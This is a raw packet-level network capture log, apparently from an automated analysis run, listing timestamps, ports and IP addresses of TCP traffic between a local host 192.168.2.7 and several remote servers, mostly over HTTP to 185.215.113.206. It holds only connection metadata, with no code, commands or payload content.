Nov 28, 2024 11:05:28.393819094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.401717901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.401794910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.401803970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.401853085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.407021046 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.407357931 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.407378912 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.407824039 CET	49841	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.407877922 CET	443	49841	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.408009052 CET	49841	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.408258915 CET	49841	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.408277988 CET	443	49841	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.408366919 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.408446074 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.409272909 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.409640074 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.409707069 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.409744024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.409806967 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.409821987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.409823895 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.409852028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.409912109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.409998894 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.410008907 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.410856009 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.410934925 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.411911964 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.412009001 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.412044048 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.417850971 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.417913914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.417942047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.417973042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.420126915 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.420327902 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.420353889 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.420382977 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.420535088 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.420552969 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.421482086 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.421538115 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.421821117 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.421883106 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.421919107 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.421927929 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.422131062 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.422147036 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.422966003 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.423027039 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.423286915 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.423366070 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.425605059 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.425684929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.425736904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.425889969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.425911903 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.425968885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.425971985 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.426263094 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.426327944 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.426398993 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.433686972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.433824062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.433868885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.433909893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.441679955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.441787958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.455343962 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.467329025 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.467333078 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.495714903 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.495723009 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.495723963 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.495742083 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.495752096 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.495759964 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.551812887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.551868916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.551904917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.551994085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.555075884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.555128098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.555186987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.555237055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.558187008 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.558212042 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.558418989 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.558444977 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.561753035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.561815977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.561853886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.561892033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.568980932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.569031954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.569134951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.569180965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.574511051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.574563980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.574596882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.574775934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.580766916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.580811024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.580837965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.580871105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.586966991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.586987972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.587013960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.587037086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.593261957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.593307018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.593390942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.593430042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.599385977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.599428892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.599497080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.599531889 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.605065107 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.605685949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.605715036 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.605755091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.605756044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.605803013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.611861944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.611896038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.611912966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.611929893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.618086100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.618148088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.618189096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.618294954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.624265909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.624319077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.624370098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.624407053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.630558014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.630620003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.630675077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.630716085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.636806965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.636872053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.636890888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.637142897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.643057108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.643094063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.643117905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.643145084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.644768953 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.644845963 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.644957066 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.645057917 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.645092964 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.645107985 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.645116091 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.647583008 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.647633076 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.647703886 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.647845984 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.647860050 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.649774075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.649830103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.649903059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.649944067 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.655504942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.655524015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.655591011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.655591011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.661590099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.661678076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.661732912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.661777020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.666488886 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.666533947 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.667840958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.667968035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.742667913 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:28.742758989 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:28.753247976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.753294945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.753355980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.753839016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.753839016 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:28.753861904 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:28.754240036 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:28.754853964 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:28.754885912 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:28.754935026 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:28.755518913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.755575895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.755609035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.756011963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.760282040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.760467052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.760948896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.764923096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.764986992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.765014887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.765182018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.769685984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.769711018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.769769907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.769769907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.774280071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.774359941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.774383068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.775070906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.778778076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.778798103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.778860092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.778860092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.783020973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.783107996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.783109903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.783361912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.787386894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.787432909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.787492990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.790013075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.791479111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.791573048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.791611910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.791611910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.795536041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.795610905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.795916080 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.795916080 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.799604893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.799674988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.799735069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.799735069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.803514957 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.803582907 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.803622007 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.803824902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.803894043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.803905010 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.803925991 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.803936958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.804028988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.807799101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.807854891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.807856083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.807902098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.811764002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.811788082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.811830997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.811830997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.816418886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.816557884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.816596985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.816596985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.819888115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.819961071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.820025921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.821809053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.824044943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.824098110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.824098110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.824198008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.827980995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.828098059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.828138113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.828138113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.832052946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.832109928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.832156897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.832192898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.836112022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.836157084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.836221933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.840130091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.840231895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.840255022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.840401888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.844135046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.844192982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.844212055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.844249010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.848220110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.848311901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.848349094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.848349094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.852339029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.852430105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.852469921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.852714062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.853802919 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.853873968 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.853925943 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.854800940 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.854826927 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.856251001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.856381893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.856412888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.856412888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.860388994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.860460043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.860615969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.860726118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.864425898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.864470959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.864490032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.864589930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.864918947 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.864973068 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.865010023 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.865122080 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.865180016 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.865217924 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.865277052 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.865288019 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.865638971 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.865653038 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.866302013 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.866432905 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.866501093 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.866663933 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.866683960 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.868463039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.868501902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.868560076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.868560076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.872533083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.872601032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.872629881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.872674942 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.876560926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.876651049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.876683950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.876683950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.880613089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.880697966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.880764008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.884689093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.884783983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.884800911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.884846926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.888684988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.888741970 CET	80	49782	185.215.113.206	192.168.2.7
